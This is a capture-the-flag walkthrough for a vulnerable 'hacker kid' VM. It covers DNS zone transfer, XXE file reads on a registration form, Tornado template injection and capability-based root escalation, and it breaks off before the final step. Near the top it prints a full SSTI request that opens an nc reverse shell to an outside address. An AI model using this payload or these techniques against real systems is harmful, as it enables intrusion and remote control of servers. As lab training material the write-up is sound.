I started this quite a while ago but didn’t finish it; now I have and this is how. I totally cheated doing this too by the way.
Ports
We’ve got DNS, HTTP on 80 and another HTTP port on 9999.
Shortcut
The quick path to a shell here is like this:
GET /?name={%25+import+os+%25}{{+os.popen("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f | /bin/sh+-i+2>%261 | nc+192.168.1.210+1234+>/tmp/f")+}} HTTP/1.1
See?
What is this? It’s an SSTI on Tornado. How did we get here? I’ll explain what I think the creator intended….
HTTP
If we go to the main webpage (port 80), we get a message saying the server was hacked, and a note:
More you will DIG me,more you will find me on your servers..DIG me more…DIG me more
If we check the page source we’ll see this:
TO DO: Use a GET parameter page_no to view pages
If we go to http://192.168.1.88/?page_no=21 we will get this:
Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes…one such home..one such home for me : hackers.blackhat.local
If we add hackers.blackhat.local to /etc/hosts, we’ll be disappointed because it’s a not a thing. I’m not sure if that’s deliberate or not (I think so, hence the line about some subdomains); we want to use DIG per the hint - did you get it?:
dig axfr @192.168.1.88 blackhat.local
So we’ve got hackerkid.blackhat.local. Probably should check that out; add it to /etc/hosts.
hackerkid.blackhat.local
If we head over to this page, we find a form to register an account. We can enter some data (note the form doesn’t actually do any registration) and if we capture the request then we can see there is XML being POSTed to process.php. This is vulnerable to XXE like so:
How does this help us? Actually, it doesn’t much. I think there was supposed to be a file read hint for the next part, but I couldn’t find anything useful with this.
9999
We had another port. What does that look like?
If we go straight to the page (i.e. http://192.168.1.88:9999/) we get redirected to a login form (http://192.168.1.88:9999/login?next=%2F). If we look at our headers, we find this:
Server: TornadoServer/6.1
And if we put a nonsense URL we can get an error that might be useful, e.g. http://192.168.1.88:9999/ajksdfhajks gives:
You can read that file (/usr/local/lib/python3.8/dist-packages/tornado/web.py) with the XXE if you want, but you have to base64 encode it:
Now what?
If we fuzz blackhat.local we can find a few things:
And if we go to say http://blackhat.local/templates/index.html we see:
Welcome, {{ current_user }}
So this gives us a clue about the template injection. How exactly we’re supposed to know that it’s on the name parameter on port 9999 I’m not entirely sure; I clearly missed the clue (if there was one). Anyway….what I will say is that you can read /opt/server.py with the XXE (base64 encoded) and get some credentials with which you can login at http://192.168.1.88:9999/, and if you do that you get this message:
Tell me your name buddy
How can i get to know who are you ??
Which is obviously a pretty good clue about the /name parameter and you can figure out the SSTI from there (I did). But how did you know to read /opt/server.py? Well that’s mystery, maybe you were supposed to guess it.
Root
Okay so go back to the shortcut and get yourself a shell. Root is via the exact method described in this blog post; you can figure out that python2.7 has CAP_SYS_PTRACE from linpeas. The inject.py script from the page works fine, the only difference is that nginx is not running on our box.
I tried a few different processes and none of them wanted to play the game so I said yolo and did this: